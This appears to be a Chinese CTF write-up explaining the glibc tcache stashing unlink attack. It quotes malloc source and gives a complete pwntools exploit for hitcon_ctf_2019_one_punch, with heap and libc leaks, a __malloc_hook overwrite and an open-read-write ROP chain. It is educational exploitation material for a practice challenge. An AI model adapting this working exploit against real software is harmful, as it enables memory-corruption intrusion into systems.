tcache stashing unlink attack


tcache stashing unlink atttack 主要利用的是 calloc 函数会绕过 tcache 从smallbin 里取出 chunk 的特性。并且 smallbin 分配后,同大小的空闲块挂进会 tcache。这个攻击可实现两个效果:

1、任意地址上写一个较大的数(和unsortedbin attack 类似)

2、任意地址分配chunk

下面是关键源码:

  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
      if (__glibc_unlikely (bck->fd != victim))
        malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
        set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);
      if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = last (bin)) != bin)
        {
          if (tc_victim != 0)
            {
              bck = tc_victim->bk;
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
            set_non_main_arena (tc_victim);
              bin->bk = bck;
              bck->fd = bin;

              tcache_put (tc_victim, tc_idx);
                }
        }
        }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

源码里对第一个分配出来的 chunk 进行了链表完整性的检查,但是之后将 chunk 放入 tcache 里时并没有进行这个检查。 那么 bck->fd = bin 就可以实现任意地址处写进一个 main_arena 的值进去。如果我们可以控制 target_addr->fd 也就是 target_addr + 0x10 处为一个可写地址,我们也可以把他放进 tcache,达成任意地址分配 chunk。

例题:BUUCTF hitcon_ctf_2019_one_punch

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./hitcon_ctf_2019_one_punch')
libc = ELF('./glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')

def add(index,name):
    s.sendlineafter(b'> ' , b'1')
    s.sendlineafter(b'idx: ' , str(index))
    s.sendafter(b'hero name: ' , name)

def edit(index,name):
    s.sendlineafter(b'> ' , b'2')
    s.sendlineafter(b'idx: ' , str(index))
    s.sendafter(b'hero name: ' , name)

def show(index):
    s.sendlineafter(b'> ' , b'3')
    s.sendlineafter(b'idx: ' , str(index))

def delete(index):
    s.sendlineafter(b'> ' , b'4')
    s.sendlineafter(b'idx: ' , str(index))

def backdoor(content):
    s.sendlineafter(b'> ' , b'50056')
    s.send(content)

add(0 , b'a'*0x218)
add(1 , b'a'*0x80)

for i in range(6):
    delete(1)
    edit(1 , b'a'*0x10)

for i in range(6):
    delete(0)
    edit(0 , b'a'*0x10)

delete(0)
show(0)

s.recvuntil(b'hero name: ')
heap_addr = u64(s.recv(6).ljust(8,b'\x00'))
success('heap_addr=>' + hex(heap_addr))

edit(0 , b'a'*0x10)
delete(0)
show(0)

s.recvuntil(b'hero name: ')
libc_base = u64(s.recv(6).ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base))
__malloc_hook = libc_base + libc.sym['__malloc_hook']

pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
pop_rax_ret = libc_base + 0x0000000000047cf8
syscall_ret = libc_base + libc.sym['write'] + 0x12
add_rsp_0x48_ret = libc_base + 0x0000000000044734
bss_addr = libc_base + libc.bss()

add(1 , b'a'*0x180)
add(1 , b'a'*0x400)

add(2 , b'a'*0x100)

for i in range(7):
    delete(1)
    edit(1 , b'a'*0x10)

delete(1)

add(2 , b'a'*0x370)
add(2 , b'a'*0x400)

fd = heap_addr + 0x180
bk = heap_addr - 0x260 + 0x20

payload = b'a'*0x370 + p64(0) + p64(0x91)
payload+= p64(fd) + p64(bk)

edit(1 , payload)

add(1 , b'b'*0x80)

edit(0 , p64(__malloc_hook))

backdoor(b'./flag\x00\x00')

orw = p64(pop_rdi_ret) + p64(heap_addr)
orw+= p64(pop_rsi_ret) + p64(0)
orw+= p64(pop_rdx_ret) + p64(0)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(bss_addr+0x100)
orw+= p64(pop_rdx_ret) + p64(0x30)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(bss_addr+0x100)
orw+= p64(pop_rdx_ret) + p64(0x30)
orw+= p64(pop_rax_ret) + p64(1)
orw+= p64(syscall_ret)

backdoor(p64(add_rsp_0x48_ret))

add(1 , orw)

#gdb.attach(s)
s.interactive()

参考链接:

https://blog.csdn.net/qq_41202237/article/details/113604261?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-0.pc_relevant_default&spm=1001.2101.3001.4242.1&utm_relevant_index=3

https://blog.csdn.net/A951860555/article/details/116296185

https://blog.csdn.net/qq_51474381/article/details/116542248

https://blog.csdn.net/seaaseesa/article/details/105870247